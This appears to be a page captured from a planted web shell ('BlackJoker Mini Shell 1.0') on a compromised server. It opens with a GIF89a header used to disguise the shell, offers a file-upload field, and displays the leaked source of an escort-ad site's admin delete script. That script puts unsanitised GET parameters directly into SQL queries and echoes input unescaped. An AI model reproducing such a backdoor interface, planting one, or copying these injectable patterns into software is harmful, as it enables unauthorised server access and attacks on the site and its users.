GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/admin/
Upload File :
Current File : /home/serb/public_html/admin/delete_postad.php

<? 
include("sessionout.php");
include("../lib/globals.php");
include("../lib/common.php");
include("../lib/functions.php");
$id=$_GET["id"];
$type=$_GET["type"];
echo$email=$_GET["email"];
$page=$_GET['page'];

if($type)
	{
		
		
		$sql_escort="SELECT * FROM escort_details WHERE id='$id'";
		$res_escort=execute_query($sql_escort);
		$row_escort=mysql_fetch_array($res_escort);
		
		$sql_username="SELECT * FROM user_info WHERE userid='".$row_escort['user_id']."'";
		$res_username=execute_query($sql_username);
		$row_username=mysql_fetch_array($res_username);
		
		$deltmsg_sql="SELECT * FROM  delete_message WHERE del_category='".$_GET["type"]."'";
		$res_delmsg=execute_query($deltmsg_sql);
		$row_delmsg=mysql_fetch_array($res_delmsg);
		
	    $to=$row_username['email'];
	    $subject="Delete ad";
	    $body=stripslashes($row_delmsg['contain']);
		$headers = 'From:escortsservices<escortservice.org@p3189889.pubip.peer1.net>' . "\r\n" .
    	'Reply-To: escortservice.org@p3189889.pubip.peer1.net' . "\r\n" .
    	'X-Mailer: PHP/' . phpversion();
	
	
		mail($to, $subject, $body, $headers);
		
		$sql_popularity="DELETE FROM popularity  WHERE postid='$id'";
		execute_query($sql_popularity);
		
		$del_photo="delete from escort_photo where postid='$id'";
		execute_query($del_photo);
		
		$sql_twdelete="delete from tweet where postid='$id'";
		execute_query($sql_twdelete);
		
		$sql_tour="DELETE FROM escort_tours  WHERE postid='$id'";
		execute_query($sql_tour);
		
		$del_sq="delete from escort_details where id='$id'";
		execute_query($del_sq);
		
		
		
	}
	
	/*if($type=='002')
	{
		
		$del_sq="delete from escort_details where id='$id'";
		execute_query($del_sq);
		
		$sql_escort="SELECT * FROM escort_details WHERE id='$id'";
		$res_escort=execute_query($sql_escort);
		$row_escort=mysql_fetch_array($res_escort);
		
		$sql_username="SELECT * FROM user_info WHERE userid='".$row_escort['user_id']."'";
		$res_username=execute_query($sql_username);
		$row_username=mysql_fetch_array($res_username);
		
		
		$to=$row_username['email'];
		 $subject="Delete ad";
		 $body="Inappropriate content in ad";
		$from="admin@escortseries.com";
		mail($to, $subject, $body, $from);
		
		
	}
	if($type==003)
	{
		$del_sq="update escort_details set status='a' where id='$id'";
		execute_query($del_sq);
		
		$sql_escort="SELECT * FROM escort_details WHERE id='$id'";
		$res_escort=execute_query($sql_escort);
		$row_escort=mysql_fetch_array($res_escort);
		
		$sql_username="SELECT * FROM user_info WHERE userid='".$row_escort['user_id']."'";
		$res_username=execute_query($sql_username);
		$row_username=mysql_fetch_array($res_username);
		
		
		$to=$row_username['email'];
		 $subject="Delete ad";
		 $body="ETC";
		$from="admin@escortseries.com";
		mail($to, $subject, $body, $from);
	}
*/






header("location:list_post_ad.php?page=$page");

?>

./BlackJoker Mini Shell 1.0